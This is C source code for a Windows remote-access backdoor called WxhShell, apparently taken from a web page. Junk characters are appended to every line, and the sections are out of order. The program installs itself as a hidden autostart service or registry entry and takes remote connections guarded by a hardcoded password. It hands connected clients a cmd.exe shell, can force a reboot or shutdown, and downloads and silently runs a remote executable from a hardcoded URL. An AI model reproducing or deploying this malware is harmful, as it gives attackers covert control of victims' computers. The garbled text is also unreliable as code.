    ExitThread(0); 7Z_iQ1  
    } oLoa71Q}  
    break; 0P42C{>'w  
    } 5]E5V@C   
  // 关机 ?$Pj[O^hl  
  case 'd': { ~m7+^c@,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |a+8-@-Tj  
    if(Boot(SHUTDOWN)) 26A#X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R#>E{[9  
    else { "5Mo%cUp  
    closesocket(wsh); z~qQ@u|  
    ExitThread(0); [Wc 73-  
    } Alz#zBGb  
    break; ff0,K#-  
    } syF/jWM5  
  // 获取shell (!s[~O6  
  case 's': { jk@]d5  
    CmdShell(wsh); i{2KMa{K  
    closesocket(wsh); P;34Rd  
    ExitThread(0); YQ/ *|  
    break; z5I<,[`  
  } _PF><ODX2  
  // 退出 {8Ll\j@ "  
  case 'x': { V|= 1<v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .;'xm_Gw<  
    CloseIt(wsh); AO6;aT  
    break; jo;n~>3P  
    } /Q-!><riD  
  // 离开 sp%7iNs  
  case 'q': { JLhp25{x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y3#\mBiw  
    closesocket(wsh); 4/b#$o<I?  
    WSACleanup();  f$3  
    exit(1); SDkN  
    break; myXV~6R 3  
        } e(Ve rd:c  
  } vjpe'zx  
  } l< Y x  
~$`b{  
  // 提示信息 &N EzKf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =LRUasF  
} {q^KlSjm  
  } DQSv'!KFO  
T(6S~; ,Z  
  return; ="`y<J P  
} !E%!,  
,3wo  
// shell模块句柄 4{|lzo'&  
int CmdShell(SOCKET sock) 2rxdRg'YLQ  
{ z,)Fvs4U.  
STARTUPINFO si; m#Cp.|>kP4  
ZeroMemory(&si,sizeof(si)); *;Vq0a!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>-Cz%IV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q~qig,$Y  
PROCESS_INFORMATION ProcessInfo; $jHL8r\e7  
char cmdline[]="cmd"; SNQ+ XtoO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  m ]\L1&  
  return 0; HN:{rAIfc  
} }~7>S5  
$hL0/T-m  
// 自身启动模式 m2;%|QE(  
int StartFromService(void) |:\h3M  
{ z, OMR`W  
typedef struct &HWH UWB  
{ Y , P-@(  
  DWORD ExitStatus; 7 ir T6O<.  
  DWORD PebBaseAddress; | c;S'36  
  DWORD AffinityMask; o` e~1  
  DWORD BasePriority; }Eav@3h6  
  ULONG UniqueProcessId; H Q2-20  
  ULONG InheritedFromUniqueProcessId; VAq:q8(K  
}   PROCESS_BASIC_INFORMATION; RR"#z'zQ  
r )T`?y  
PROCNTQSIP NtQueryInformationProcess; t*COzE  
[\VzI\vb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ( nBsf1l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zmdOL9"a  
.8"o&%$`V  
  HANDLE             hProcess; {S|uQgs6j  
  PROCESS_BASIC_INFORMATION pbi; 2uB.0  
`p!.K9r7   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4o%hH  
  if(NULL == hInst ) return 0; ^#G>P0mG%  
 (vY10W{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L9x,G!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Iv{}U\ u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a@%FwfIu  
l!oU9  
  if (!NtQueryInformationProcess) return 0; 7B'0(70  
Va1|XQ<CL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I} j! !  
  if(!hProcess) return 0; S`NH6?/uH  
~sM334sQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zNB G;\ W  
giI9-C  
  CloseHandle(hProcess); &=f%(,+  
2+|[e_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~WVrtYJu  
if(hProcess==NULL) return 0; V482V#BP  
jildiT[s  
HMODULE hMod; [9w8oNg0  
char procName[255]; *`dGapd3  
unsigned long cbNeeded; [x@iqFO9  
9{+B l NZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &)rmv  
3iY`kf  
  CloseHandle(hProcess); >:Rc%ILym  
`/0FXb 8h  
if(strstr(procName,"services")) return 1; // 以服务启动 l!GAMK 6o  
C3 D1rS/I  
  return 0; // 注册表启动 ~V(WD;Mk  
} k&9 b&-=fk  
](^xA `  
// 主模块 ]E,  
int StartWxhshell(LPSTR lpCmdLine) =s;7T!7!  
{ $[IuEdc/  
  SOCKET wsl; _v_ak4m>  
BOOL val=TRUE; .rwZ`MP  
  int port=0; ,UY],;ib  
  struct sockaddr_in door; ^G5 _d"Gr  
[~$9n_O94  
  if(wscfg.ws_autoins) Install(); ETYw  
O%rjY  
port=atoi(lpCmdLine); htIV`_<Ro  
y%43w4  
if(port<=0) port=wscfg.ws_port; {"O'kx  
!)ee{CwNc  
  WSADATA data; d6wsT\S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [0  3Aej  
1XwbsKQ}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,b2Cl[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FLi)EgZXt  
  door.sin_family = AF_INET; =EFF2M`F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xqIt?v2c  
  door.sin_port = htons(port);  $ l Y  
a:1-n %&F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f9&po2Pzf  
closesocket(wsl); 3/((7O[  
return 1; V\o& {7!  
} 7 S2QTRvH  
+~\c1|f  
  if(listen(wsl,2) == INVALID_SOCKET) { Uu3<S  
closesocket(wsl); m:XMF)tW  
return 1; ghqq%g  
} !|S{e^WhbU  
  Wxhshell(wsl); 0V:PRq;v0  
  WSACleanup(); &ffd#2f`@  
d_}q.%*  
return 0; 2r&T.  
;v1&Rs  
} 6>B_ojj:  
|;_uN q9  
// 以NT服务方式启动 okZDxg`6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6o/!H  
{ dg]: JU  
DWORD   status = 0; rYMHc@a9(  
  DWORD   specificError = 0xfffffff; +gOv5Eno-  
:CAbGs:56  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [6Gb@jG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7$* O+bkn:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <jvSV5%  
  serviceStatus.dwWin32ExitCode     = 0; P 6|\ ^  
  serviceStatus.dwServiceSpecificExitCode = 0; m2"~.iM8  
  serviceStatus.dwCheckPoint       = 0; nXOJ  
  serviceStatus.dwWaitHint       = 0; Z6`[ dAo  
2oFHP_HVfu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); As7Y4w*+  
  if (hServiceStatusHandle==0) return; mN:p=.& <  
RK`C31Ws  
status = GetLastError(); Xm2p<Xu8h  
  if (status!=NO_ERROR) UjU*`}k3  
{ tZ ]/?+1G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }[OOkYF#r  
    serviceStatus.dwCheckPoint       = 0; zLiFk<G@Xi  
    serviceStatus.dwWaitHint       = 0; 7R=cxD&  
    serviceStatus.dwWin32ExitCode     = status; -?$Hr\  
    serviceStatus.dwServiceSpecificExitCode = specificError; z!GLug*j`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jQs"8[=s  
    return; 8E| Nf  
  } >1Y',0v  
Xr@]7: ,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,D`iV| (  
  serviceStatus.dwCheckPoint       = 0; IPhV|7  
  serviceStatus.dwWaitHint       = 0; 5h2@n0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _#/zH~V%  
} 2Y@:Vgg  
gOA  
// 处理NT服务事件,比如:启动、停止 RMx$]wn_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jLs-v  
{ ~)JNevLZ  
switch(fdwControl) O+o1R24JI  
{ VS lIeZ  
case SERVICE_CONTROL_STOP: Xn'{g  
  serviceStatus.dwWin32ExitCode = 0; 26,!HmtC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .*s1d)\:  
  serviceStatus.dwCheckPoint   = 0; dt(#|8i%  
  serviceStatus.dwWaitHint     = 0; Rx22W:S=C.  
  { ,wN>,(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?m?DAd~ZY  
  } =hO0 @w  
  return; Ty21-0 F  
case SERVICE_CONTROL_PAUSE: H7KcPN(0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BQcrF{q  
  break; n%>c4*t  
case SERVICE_CONTROL_CONTINUE: (gv1f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A@X&d y  
  break; .*N,x0 B(  
case SERVICE_CONTROL_INTERROGATE: E  K)7g~  
  break; VE<&0d<  
}; Fx.hti  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +d0&(b  
} \WnI&nu  
J<<0U;  
// 标准应用程序主函数 <= xmJx-V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +|N!(H  
{ >+w(%;i;  
,3t('SE  
// 获取操作系统版本 8()L}@y  
OsIsNt=GetOsVer(); 8T:|~%Sw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n\#RI9#\  
d+_wN2  
  // 从命令行安装 ztNm,1pnQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); LP8Stj JP  
#[^?f[ 9r  
  // 下载执行文件 v(? ^#C>6W  
if(wscfg.ws_downexe) { 4Lo8Eue  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {jX h/`  
  WinExec(wscfg.ws_filenam,SW_HIDE); gF@51K  
} 5h9`lS2  
>g!a\=-[  
if(!OsIsNt) { n1n1 }  
// 如果时win9x,隐藏进程并且设置为注册表启动 !4 4)=xW  
HideProc(); c5?;^a[  
StartWxhshell(lpCmdLine); p4 #U:_  
} 7.n/W|\  
else =rV*iLy  
  if(StartFromService()) e5bRi0  
  // 以服务方式启动 -vcHSwG b  
  StartServiceCtrlDispatcher(DispatchTable); E-NuCP%|c  
else <n iq*  
  // 普通方式启动 5G@z l  
  StartWxhshell(lpCmdLine); M+X>!Os  
`c^ _5:euX  
return 0; $d4^e&s  
} ]o <'T.x  
:*aBiX"  
:xitV]1.   
$6~D 2K  
=========================================== b]v.jgD  
bJJB*$jW=  
m L#-U)?F  
!@9Vq6  
d&: ABI  
~VZ)LQ'7  
" ?u/Uov@rD  
fKzOt<wm  
#include <stdio.h> G2]/g  
#include <string.h> _ECWSfZ  
#include <windows.h> }yup`R  
#include <winsock2.h> ?*I2?   
#include <winsvc.h> z116i?7EnV  
#include <urlmon.h> zkXG%I4h  
 )_P|_(  
#pragma comment (lib, "Ws2_32.lib") sgdxr!1?y  
#pragma comment (lib, "urlmon.lib") uV r6tb1  
.0l0*~[  
#define MAX_USER   100 // 最大客户端连接数 >t|u 8/P  
#define BUF_SOCK   200 // sock buffer =.9L/74@  
#define KEY_BUFF   255 // 输入 buffer Xqt3 p6  
uXiAN#1  
#define REBOOT     0   // 重启  <StyO[  
#define SHUTDOWN   1   // 关机 G992{B  
!/W[6'M#p  
#define DEF_PORT   5000 // 监听端口 {AbQaw  
@EZ@X/8{&  
#define REG_LEN     16   // 注册表键长度 5Z]zul@+*  
#define SVC_LEN     80   // NT服务名长度 3 8>?Z ]V  
X/  
// 从dll定义API 1ID0'j$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7mipj]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]sBSLEie '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c:0nOP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ) -+u8#  
hnM?wn  
// wxhshell配置信息 1b:3'E.#w  
struct WSCFG { $Q,Fr; B  
  int ws_port;         // 监听端口 A;nrr1-0  
  char ws_passstr[REG_LEN]; // 口令 5mwtlC':l?  
  int ws_autoins;       // 安装标记, 1=yes 0=no :kUZNw'Bi  
  char ws_regname[REG_LEN]; // 注册表键名 vtyk\e)   
  char ws_svcname[REG_LEN]; // 服务名 xSFY8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VG*Tdaua~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C~PrIM?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lf4V; |!^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4,CQJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w] b3,b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3.M<ATe^  
:<ye:P1s  
}; %|L+~=  
B#RwW,  
// default Wxhshell configuration j(4BMk  
struct WSCFG wscfg={DEF_PORT, 5z8CUDt 0  
    "xuhuanlingzhe", 0 1U/{D6D  
    1, ^&oa\7<'  
    "Wxhshell", 5gnNgt~  
    "Wxhshell", 8)IpQG  
            "WxhShell Service", Z?k4Kb  
    "Wrsky Windows CmdShell Service", H!Gsu$C  
    "Please Input Your Password: ", pPt7M'uL"  
  1, QXZjsa_|  
  "http://www.wrsky.com/wxhshell.exe", MP/6AAt7=|  
  "Wxhshell.exe" T#'+w@Q9{9  
    }; J-t5kU;L{  
#9aB3C  
// 消息定义模块 1&A@Zo5|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W99MA5P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G8%Q$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H)&6I33`  
char *msg_ws_ext="\n\rExit."; x/*ndH  
char *msg_ws_end="\n\rQuit."; 4.)hCb  
char *msg_ws_boot="\n\rReboot..."; !=j\pu} Z  
char *msg_ws_poff="\n\rShutdown..."; 7=yC*]BH-=  
char *msg_ws_down="\n\rSave to "; @/i;/$\  
%N 8/g]`7  
char *msg_ws_err="\n\rErr!"; hA1\+r  
char *msg_ws_ok="\n\rOK!"; {2<A\nW  
#L[-WC]1y  
char ExeFile[MAX_PATH]; 0PIiG-o9  
int nUser = 0; f`w$KVZ1!w  
HANDLE handles[MAX_USER]; EgO=7?(pW  
int OsIsNt; Hn"xn79nc  
__HPwOCG7  
SERVICE_STATUS       serviceStatus; e;KZTH;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mf)0Y~_:R#  
F(*~[*Ff  
// 函数声明 9U1cH qV  
int Install(void); |:_WdU"Q]  
int Uninstall(void); 16"eyt>  
int DownloadFile(char *sURL, SOCKET wsh); ]Igd<  
int Boot(int flag); C2RR(n=N^  
void HideProc(void); :7&#ej6  
int GetOsVer(void); "YbvI@pD  
int Wxhshell(SOCKET wsl); gJn|G#!  
void TalkWithClient(void *cs); .a._WZF  
int CmdShell(SOCKET sock); ^E_`M:~  
int StartFromService(void); xBH`=e <  
int StartWxhshell(LPSTR lpCmdLine); =ML6"jr  
~Xi_bTAyAW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K)5'Jp@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4naL2 Y!  
({=: N  
// 数据结构和表定义 B WdR~|2  
SERVICE_TABLE_ENTRY DispatchTable[] = z(]14250  
{ X2b<_j3  
{wscfg.ws_svcname, NTServiceMain}, '51DdT U  
{NULL, NULL} hhjT{>je  
}; Dohq@+] O  
8 1;QF_C  
// 自我安装 '@1oM1  
int Install(void) H\]ZtSw8-  
{ *B"p:F7J|  
  char svExeFile[MAX_PATH]; 4qq+7B  
  HKEY key; $]:yc n9l  
  strcpy(svExeFile,ExeFile); 2 O\p`,.  
jt|e?1:vF  
// 如果是win9x系统,修改注册表设为自启动 $_s"16s  
if(!OsIsNt) { l \~w(8g<A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Bk d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C.I.f9s?R  
  RegCloseKey(key); JjarMJr| D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nb}*IExd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +*"u(7AV  
  RegCloseKey(key); PLDg'4DMg  
  return 0; R$( FrbC  
    } K3jKOV8   
  } Hts.G~~8  
} ,$irJz F  
else { rlSar$  
JR/:XYS+  
// 如果是NT以上系统,安装为系统服务 b4`t, D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lUWX[,  
if (schSCManager!=0) le%&r  
{ r7w1~z  
  SC_HANDLE schService = CreateService n}?XFx!%  
  ( wi'CBfr'z  
  schSCManager, \T)2J|mW  
  wscfg.ws_svcname, G+Ft2/+\  
  wscfg.ws_svcdisp, JWhi*je  
  SERVICE_ALL_ACCESS, TR:V7 d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , df_hmkyj  
  SERVICE_AUTO_START, X yi[z tN  
  SERVICE_ERROR_NORMAL,  JvFd2@  
  svExeFile, g?,\bmHE  
  NULL, 7b7~D +b  
  NULL, _t[RHrs  
  NULL, f 7B)iI!  
  NULL, ]AoRK=aH  
  NULL 3!_XFV  
  ); aewVq@ngq!  
  if (schService!=0) e>`+Vk^Jc  
  { qcau(#I9.  
  CloseServiceHandle(schService); )xgOl*D  
  CloseServiceHandle(schSCManager); jd<`W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !1 :%!7  
  strcat(svExeFile,wscfg.ws_svcname); E.V#Bk=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5yPw[ EY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bw^*6P^l  
  RegCloseKey(key); Db"jzMW.  
  return 0; _ ;baZ-  
    } O iRhp(  
  } IC&>PwXb  
  CloseServiceHandle(schSCManager); (> O'^W\3p  
} P|,@En 1!  
} 'Fi\Qk'D@  
+&?#Gdb  
return 1; ?.1yNO*s  
} #- S%aeB  
wLn,x;;<  
// 自我卸载 M*M,Z  
int Uninstall(void) ykFm$ 0m+I  
{ .Cq'D.  
  HKEY key; '1'#,u!  
K q;X(&Z  
if(!OsIsNt) { 1?:/8l%V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %j3XoRex><  
  RegDeleteValue(key,wscfg.ws_regname); Ox .6]W~  
  RegCloseKey(key); AE`z~L,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $['_m~ 2  
  RegDeleteValue(key,wscfg.ws_regname); s~N WJ*i  
  RegCloseKey(key); e}%~S9\UL5  
  return 0;  )l 0\TF  
  } Nl~'W  
} $07;gpZt  
} )b^yAzL?  
else { 1F`1(MYt9  
{4B{~Qe;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P)7:G?OTx  
if (schSCManager!=0) \@")2o+  
{ 9!CD25u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \0gU)tVZ  
  if (schService!=0) cJ[ gCS  
  { dk<) \C"  
  if(DeleteService(schService)!=0) { W=zHD 9  
  CloseServiceHandle(schService); }<m'Nkz<X  
  CloseServiceHandle(schSCManager); #0OW0:Q  
  return 0; XMt)\r.  
  } zfS0M  
  CloseServiceHandle(schService); N]yh8"7X  
  } 44e:K5;]7  
  CloseServiceHandle(schSCManager); jVA|Vi_2  
}  {yXpBS  
} !vd(WKq  
:SBB3G)|  
return 1; ck0K^o v  
} F3)w('h9c  
gJ \CT'/  
// 从指定url下载文件 eI20)t`j  
int DownloadFile(char *sURL, SOCKET wsh) )96tBA%u  
{ "{TVd>9_  
  HRESULT hr; ~`Uil=  
char seps[]= "/"; =;HC7TUM&  
char *token; d@d\9*mn  
char *file; fXo$1!  
char myURL[MAX_PATH]; pi?$h"y7Q  
char myFILE[MAX_PATH]; CEQs}bz  
JU>F&g/|  
strcpy(myURL,sURL); 'YFy6rds  
  token=strtok(myURL,seps); +!"GYPUXy  
  while(token!=NULL) 0oT~6BGm  
  { a!?JVhD&  
    file=token; !>E$2}Q|]  
  token=strtok(NULL,seps); ,)u1r3@I^  
  } ^T>P  
%s&"gWi  
GetCurrentDirectory(MAX_PATH,myFILE); 0j\} @  
strcat(myFILE, "\\"); }\#u~k!l  
strcat(myFILE, file); :'6vIPN5  
  send(wsh,myFILE,strlen(myFILE),0); KE$I!$zO  
send(wsh,"...",3,0); _bsAF^ ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UnVYGch  
  if(hr==S_OK) -l(G"]tRB  
return 0; i#4}xvi  
else l%\p  
return 1;  $I*<gn9  
w20)~&LE-  
} 1n3XB+*  
g"}j  
// 系统电源模块 9-ei#|Vnt[  
int Boot(int flag) c_~tCKAZ   
{ kleE\ 8_  
  HANDLE hToken; ) dB?Ep|  
  TOKEN_PRIVILEGES tkp; !-tP\%'  
(R^qY"H 2  
  if(OsIsNt) { =Z /*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NflwmMJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xj< K6  
    tkp.PrivilegeCount = 1; d?6\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?1afW)`a.v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ! (H RP9  
if(flag==REBOOT) { vV PK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U;w| =vM  
  return 0; (fqU73  
} xwhS[d  
else { FE=vUQXE2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DeK&_)g| Z  
  return 0; OCN:{  
} tO}Y=kZa{  
  } NG+%H1!$_  
  else { } q?*13iy(  
if(flag==REBOOT) { };m.8(}$)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q9gk:Jt  
  return 0; -`cNRd0n  
} !n^7&Y[N;  
else { z(dDX%k@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nu,t,&B   
  return 0; APUpqY  
} 7X{@$>+S  
} WupONrH1e  
$ ?*XPzZ  
return 1; Q$^)z_jai  
} -n"7G%$M  
w678  
// win9x进程隐藏模块 0Qr|!B:+9)  
void HideProc(void) q,>-4Cm  
{ @v~<E?Un  
w,zm$s^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pY$DOr- r`  
  if ( hKernel != NULL ) 2J&J  
  { 9i`MUE1Sh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !*!i&0QC~R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jBr3Ay@<  
    FreeLibrary(hKernel); .22}= z  
  } 'GF<_3I2l  
BK 9+fO  
return; dF+R q|n{  
} undH{w=  
YgLHp/  
// 获取操作系统版本 LZ4Z]!V  
int GetOsVer(void) _]Y9Eoz  
{ vSv:!5*  
  OSVERSIONINFO winfo; f>[!Zi*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QD*\zB  
  GetVersionEx(&winfo); 5?HoCz]l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z^Y4:^L~I  
  return 1; i*6 1i0  
  else ,|^ lqY  
  return 0; H=@S+4_bK  
} y{9<>28  
[pzo[0G 'v  
// 客户端句柄模块 \= G8  
int Wxhshell(SOCKET wsl) 7J|e L yj  
{ S]<%^W'  
  SOCKET wsh; 1#V&'A  
  struct sockaddr_in client; A3A"^f$$  
  DWORD myID; #eY?6Kjn  
:pNu$%q  
  while(nUser<MAX_USER) xlm:erP  
{ ^K?Mq1"Db  
  int nSize=sizeof(client); AcIw; c:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K*aGz8N  
  if(wsh==INVALID_SOCKET) return 1; umI6# Vd`=  
Senb_?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :^J'_  
if(handles[nUser]==0) EMw biGV  
  closesocket(wsh); fctVJ{?  
else V_P,~!  
  nUser++; /_ RrNzqy  
  } t }>"nr0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  t@+z r3  
4>Y\Y$3  
  return 0; Rf#t|MW*#  
} ;|D8"D6]  
%&&;06GU}  
// 关闭 socket  MuP&m{  
void CloseIt(SOCKET wsh) ]-8yZWal  
{ 7b hJt_`Q  
closesocket(wsh); Lb0BmR%0  
nUser--; F2C v,&'  
ExitThread(0); )(DX]Tr`  
} 5@`DS-7h  
v0W/7?D  
// 客户端请求句柄 ^cI 0 d,3=  
void TalkWithClient(void *cs) Y/`*t(/5  
{ B'-L-]\H  
b\^9::oY  
  SOCKET wsh=(SOCKET)cs; *6QmYq6c<  
  char pwd[SVC_LEN]; c n^z=?  
  char cmd[KEY_BUFF]; u= ydX  
char chr[1]; Wu U_R E  
int i,j; ='vkd=`Si  
P7y.:%DGD0  
  while (nUser < MAX_USER) { <lf6gb  
\Z/# s;c,4  
if(wscfg.ws_passstr) { i1-wzI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  $&to(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [8rl{~9E  
  //ZeroMemory(pwd,KEY_BUFF); X.)D"+xnH  
      i=0; tRmH6  
  while(i<SVC_LEN) { ^<v]x; 3  
S1E=EVG  
  // 设置超时 V"W)u#4,  
  fd_set FdRead; *S\/l-D  
  struct timeval TimeOut; {PQ!o^7y  
  FD_ZERO(&FdRead); DS>qth  
  FD_SET(wsh,&FdRead); X Frgnnt  
  TimeOut.tv_sec=8; ">'`{mXew  
  TimeOut.tv_usec=0; J/ZC<dkYQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !/6KQdF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '/ GZ,~q  
O`2hTY\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #_4JTGJ  
  pwd=chr[0]; =7 ${bp!  
  if(chr[0]==0xd || chr[0]==0xa) { p'YNj3&u  
  pwd=0; z]0UW\S/  
  break; F'3-*>]P  
  } ca?;!~%zA  
  i++; O K2|/y  
    } +EP=uV9t  
> @n?W"  
  // 如果是非法用户,关闭 socket ZE"Z_E;r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XE.Y?{,R$  
} Q??nw^8Hi  
\ 0aa0=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q\{$&0McF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a!*K)x,"<  
i~;Yrc%AEX  
while(1) { <|c[ #f  
^laf!kIP  
  ZeroMemory(cmd,KEY_BUFF); 4KT-U6zNx  
UWW_[dJr   
      // 自动支持客户端 telnet标准   hwB>@r2  
  j=0; M$+2f.(>k)  
  while(j<KEY_BUFF) { Y|y X]\,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V;>u()  
  cmd[j]=chr[0]; E@D}Sqt  
  if(chr[0]==0xa || chr[0]==0xd) { q3$;lLsb;j  
  cmd[j]=0; 7) e#b  
  break; rulw6vTB(  
  } (Gpk;DD  
  j++; dT4e[4l  
    } mZb[Fi  
z\r|5Z  
  // 下载文件 *u?N{LkqS  
  if(strstr(cmd,"http://")) { [I4&E >  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \<4Hp_2?  
  if(DownloadFile(cmd,wsh)) fk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+7x &-+  
  else [m{uJ dj\  
